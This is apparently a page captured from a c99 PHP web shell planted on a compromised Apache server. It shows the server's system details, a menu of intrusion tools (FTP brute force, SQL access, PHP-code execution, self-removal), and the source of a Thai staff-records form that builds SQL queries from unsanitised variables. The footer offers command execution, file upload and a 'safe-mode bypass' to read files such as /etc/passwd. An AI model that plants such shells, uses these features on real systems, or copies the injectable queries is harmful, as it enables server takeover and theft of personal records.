!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Dev/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Frm_Edit_Fam.php (23.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
        
/**  Table  -->  personal_tb  */
        
$query " SELECT *  FROM $myTable1  WHERE  Teacher_code='$Teacher_code'  AND   Faculty_code='$Faculty_code' ";
        
$result $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result);
            
$Teacher_code $rs['Teacher_code'];

        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลประวัติส่วนตัว - แก้ไขข้อมูลประวัติส่วนตัว</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="pc" name="pc" method="post" action="Edit_Fam_His.php?Teacher_code=<?=$Teacher_code;?>" enctype="multipart/form-data">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="Personal.php">ข้อมูลประวัติบุคคล</a> &raquo; <span class="NOTE">แก้ไขข้อมูลประวัติส่วนตัว</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td height="150" align="center"><table width="95%" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <td width="76%"><table width="100%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#E4E4E4">
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" bordercolor="#FFFFFF" bgcolor="#FFFFFF">คำนำหน้า</td>
                    <td width="10" bgcolor="#FFFFFF">&nbsp;</td>
                    <td width="393" bgcolor="#FFFFFF"><table width="100%" border="0" cellpadding="0" cellspacing="0">
                      <tr>
                        <td><input type="radio" name="First_name" id="First_name" <?php if ( !strcmp("$rs[First_name]","นาย") ) { echo "checked"; } ?> value="นาย" />
                          นาย
                          <input type="radio" name="First_name" id="First_name" <?php if ( !strcmp("$rs[First_name]","นางสาว") ) { echo "checked"; } ?> value="นางสาว" />
                          นางสาว
                          <input type="radio" name="First_name" id="First_name" <?php if ( !strcmp("$rs[First_name]","นาง") ) { echo "checked"; } ?> value="นาง" />
                          นาง
                          <input type="radio" name="First_name" id="First_name" <?php if ( !strcmp("$rs[First_name]","ดร.") ) { echo "checked"; } ?> value="ดร." />
                          ดร.</td>
                      </tr>
                    </table></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">ชื่อ-นามสกุล</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Teacher_name" type="text" class="TEXT-DARK-BLUE10" id="Teacher_name" value="<? echo $rs['Teacher_name']; ?>" /> 
                    - <input name="Teacher_lastname" type="text" class="TEXT-DARK-BLUE10" id="Teacher_lastname" value="<? echo $rs['Teacher_lastname']; ?>" /></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td width="150" height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">เลขที่บัตรประชาชน</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Citizen_id" type="text" class="TEXT-DARK-BLUE10" id="Citizen_id" style="text-align:center" value="<? echo $rs['Citizen_id']; ?>" size="15" maxlength="13" /></td>
                  </tr>
                  <tr bordercolor="#FFFFFF">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">วัน/เดือน/ปี เกิด</td>
                    <td width="10" nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">วันที่ 
                      <select name="mDate" id="mDate" class="TEXT-DARK-BLUE10">
                      <?php
                        $DateBirth 
$rs['DateBirth'];
                        
$yearthai explode("-",$DateBirth);
                        
$mDate intval($yearthai[2]);
                        
$mMonth intval($yearthai[1]);
                        
$mYear intval($yearthai[0]);
                      
?>
                      <?php
                        
for( $i=0$i<32$i++ ) {  
                            if( 
$i == )
                                echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
                            else
                                echo
"\n\t<option value=\"$i\">$i</option>\n ";
                        }
                      
?>
                      </select> &nbsp; เดือน 
                      <select name="mMonth" id="mMonth" class="select" >
                        <?php
          $Date 
$rs[DateBirth];
           
$yearthai explode("-",$Date);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
                      </select>
&nbsp; ปี พ.ศ.
                      <input name="mYear" type="text" class="TEXT-DARK-BLUE10" id="mYear" style="text-align:center" value="<? echo $mYear?>" size="5" maxlength="4" /></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">เพศ</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><input type="radio" name="Sex" id="Sex" <?php if ( !strcmp("$rs[Sex]","ชาย") ) { echo "checked"; } ?> value="ชาย" />
                      ชาย
                      <input type="radio" name="Sex" id="Sex" <?php if ( !strcmp("$rs[Sex]","หญิง") ) { echo "checked"; } ?> value="หญิง" />
                      หญิง</td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">เชื้อชาติ</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Nationality" id="Nationality" type="text" class="TEXT-DARK-BLUE10" value="<? echo $rs['Nationality']; ?>" size="15" /> &nbsp; สัญชาติ 
                      <input name="Nation" id="Nation" type="text" class="TEXT-DARK-BLUE10" value="<? echo $rs['Nation']; ?>" size="15" /></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">ศาสนา</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                      <tr>
                        <td><input type="radio" name="Religion" id="Religion" value="พุทธ" <?php if (!strcmp("$rs[Religion]","พุทธ") ) { echo "checked"; } ?> />
                          พุทธ
                          <input type="radio" name="Religion" id="Religion" value="คริสต์" <?php if (!strcmp("$rs[Religion]","คริสต์") ) { echo "checked"; } ?> />
                          คริสต์
                          <input type="radio" name="Religion" id="Religion" value="อิสลาม" <?php if ( !strcmp("$rs[Religion]","อิสลาม") ) { echo "checked"; } ?> />
                          อิสลาม
                          <input type="radio" name="Religion" id="Religion" value="อื่นๆ" <?php if ( !strcmp("$rs[Religion]","อื่นๆ") ) { echo "checked"; } ?> />
                          อื่นๆ</td>
                      </tr>
                    </table></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td align="right" valign="top" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">ภูมิลำเนา</td>
                    <td width="10" nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><textarea name="Address" id="Address" cols="50" rows="2" class="TEXT-DARK-BLUE10"><? echo htmlspecialchars_decode($rs['Address']); ?></textarea></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ตำบล/แขวง</font></td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="districtName" type="text" class="input1" id="districtName" value="<? $districtId  =  $rs["districtId"];
         
$sql "Select * From  district   Where   districtId ='$districtId' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[districtName] "?>" size="15" maxlength="100" readonly="readonly" />
                      <img src="../picture/search.gif" width="15" height="19" border="0" align="absmiddle" id="IMG3" style="CURSOR: hand" onclick='MM_openBrWindow(&quot;homeDistrictTable.php&quot;,&quot;test&quot;,&quot;width = 550, height=350,scrollbars=yes&quot;)' />
                      <input name="districtId" type="hidden" value="<? echo $rs['districtId']?>" /></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">อำเภอ/เขต</font></td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">
                      <input name="amphurName" type="text" class="input1" id="amphurName" value="<? $amphurId  =  $rs["amphurId"];
         
$sql "Select * From amphur   Where amphurId ='$amphurId' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[amphurName] "?>"  size="15" maxlength="100" readonly="readonly" />
                      </font>
                      <input name="amphurId" type="hidden" value="<? echo $rs['amphurId']?>" /></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">จังหวัด</font></td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                      <input name="provinceName" type="text" class="input1" value="<? $provinceId  =  $rs["provinceId"];
         
$sql "Select * From province  Where  provinceId ='$provinceId' ";
          
$result2 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result2);
          echo 
"$rss[provinceName] "?>"  size="15" maxlength="100" readonly="readonly" />
                      </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                        <input name="provinceId" type="hidden" id="provinceId" value="<? echo $rs['provinceId']?>" />
                      </font></strong></font></strong></font></strong></font></strong></font></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">สถานภาพ บิดา</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><input type="radio" name="Status2" id="Status2" value="มีชีวิตอยู่" <?php if ( !strcmp("$rs[Status2]","มีชีวิตอยู่") ) { echo "checked"; } ?> />
                      มีชีวิตอยู่
                      <input type="radio" name="Status2" id="Status2" value="ถึงแก่กรรม" <?php if ( !strcmp("$rs[Status2]"," ถึงแก่กรรรม") ) { echo "checked"; } ?> />
                      ถึงแก่กรรม</td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">สถานภาพ มารดา</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><input type="radio" name="Status3" id="Status3" value="มีชีวิตอยู่" <?php if ( !strcmp("$rs[Status3]","มีชีวิตอยู่") ) { echo "checked"; } ?> />
                        มีชีวิตอยู่
                        <input type="radio" name="Status3" id="Status3" value="ถึงแก่กรรม" <?php if ( !strcmp("$rs[Status3]","ถึงแก่กรรม") ) { echo "checked"; } ?> />
                        ถึงแก่กรรม</td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">ชื่อ-นามสกุล บิดา</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Father_name" id="Father_name" type="text" class="TEXT-DARK-BLUE10" value="<? echo $rs['Father_name']; ?>" size="30" /></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">ชื่อ-นามสกุล มารดา</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Mother_name" id="Mother_name" type="text" class="TEXT-DARK-BLUE10" value="<? echo $rs['Mother_name']; ?>" size="30" /></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">สถานภาพ คู่สมรส</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                      <tr>
                        <td><input type="radio" name="Status" id="Status" <?php if ( !strcmp("$rs[Status]","โสด") ) { echo "checked"; } ?> value="โสด" />
                        โสด
                        <input type="radio" name="Status" id="Status" <?php if ( !strcmp("$rs[Status]","สมรส") ) { echo "checked"; } ?> value="สมรส" />
                        สมรส
                        <input type="radio" name="Status" id="Status" <?php if ( !strcmp("$rs[Status]","หย่าร้าง") ) { echo "checked"; } ?> value="หย่าร้าง" />
                        หย่าร้าง
                        <input type="radio" name="Status" id="Status" <?php if ( !strcmp("$rs[Status]","ถึงแก่กรรม") ) { echo "checked"; } ?> value="ถึงแก่กรรม" />
                        ถึงแก่กรรม</td>
                      </tr>
                    </table></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">ชื่อ-นามสกุล คู่สมรส</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Soulmate" type="text" class="TEXT-DARK-BLUE10" id="Soulmate" value="<? echo $rs['Soulmate']; ?>" size="30" /></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">จำนวนบุตร</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Total_child" type="text" class="TEXT-DARK-BLUE10" id="Total_child" style="text-align:center" value="<? echo $rs['Total_child']; ?>" size="5" maxlength="3" />
                      คน</td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">ตำแหน่งราชการ &nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                      <select name="PositionId" id="PositionId">
                        <option value=""></option>
                        <?php
                  $sql4 
" SELECT *  FROM  position_tb    ORDER  BY  PositionId   ASC  ";
                  
$result4 mysql_query($sql4);
                  while( 
$rs4 mysql_fetch_array($result4) ) {
                
?>
                        <option value="<?=$rs4['PositionId'];?><?php if( $rs4['PositionId']==$rs['PositionId'] ) echo 'selected';?>>
                          <?=$rs4['Position_name'];?>  </option>
                        <?php
                
# while
                  
mysql_free_result($result1);
              
?>
                      </select>
                    </font></strong></font></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">สังกัดหน่วยงาน</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                      <select name="Faculty_code" id="Faculty_code">
                        <?php
                                
                                $strSQL3 
" SELECT * FROM   faculty_tb  ";
                                
$result3 mysql_query($strSQL3);
                                while( 
$rs3 mysql_fetch_array($result3) ) {
                            
?>
                        <option value="<?=$rs3['Faculty_code'];?><?php if( $rs3['Faculty_code']==$rs['Faculty_code'] ) echo 'selected'?>>
                          <?=$rs3['Faculty_name'];?>
                          </option>
                        <?php
                                
# while
                            
?>
                        </select>
                      </font></strong></font></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">กลุ่ม/งาน</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                      <select name="conId" id="conId">
                        <?php
                                
//$Faculty_code = $rs['Faculty_code'] ;
                                
$strSQL4 " SELECT * FROM   facultycon_tb  Where   Faculty_code='$rs[Faculty_code]'  ";
                                
$result4 mysql_query($strSQL4);
                                while( 
$rs4 mysql_fetch_array($result4) ) {
                            
?>
                        <option value="<?=$rs4['conId'];?><?php if( $rs4['conId']==$rs['conId'] ) echo 'selected'?>>
                          <?=$rs4['Group_name'];?>
                          </option>
                        <?php
                                
# while
                            
?>
                      </select>
                    </font></strong></font></td>
                  </tr>
                  <tr bordercolor="#E7FAFE">
                    <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF">รูปภาพประจำตัว</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Img1" type="file" class="TEXT-DARK-BLUE10" id="Img1" size="30" /></td>
                  </tr>
                  <tr bgcolor="#CEE6FF">
                    <td colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#CEE6FF">
                    <td height="20" bgcolor="#FFFFFF" align="center">&nbsp;</td>
                    <td height="20" bgcolor="#FFFFFF" align="center">&nbsp;</td>
                    <td height="20" bgcolor="#FFFFFF" align="left"><input type="hidden" name="Teacher_code" value="<? echo $rs['Teacher_code']; ?>" />
                      <input name="btnSubmit" type="submit" id="btnSubmit" class="WIDTH60 CURSOR-HAND" value="บันทึก" />
                      &nbsp;
                      <input name="btnBack" type="button" id="btnBack" onclick="location.href='Show_Fam_History.php?Teacher_code=<? echo $rs['Teacher_code'];?>'" value="ยกเลิก" class="WIDTH60 CURSOR-HAND" /></td>
                  </tr>
                 </table></td>
                <td width="24%" valign="top" align="center"><table width="150" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td><img src="../personal_pic/<?php echo $rs['Img1']; ?>" width="150" height="170" /></td>
                  </tr>
                </table></td>
              </tr>
            </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0171 ]--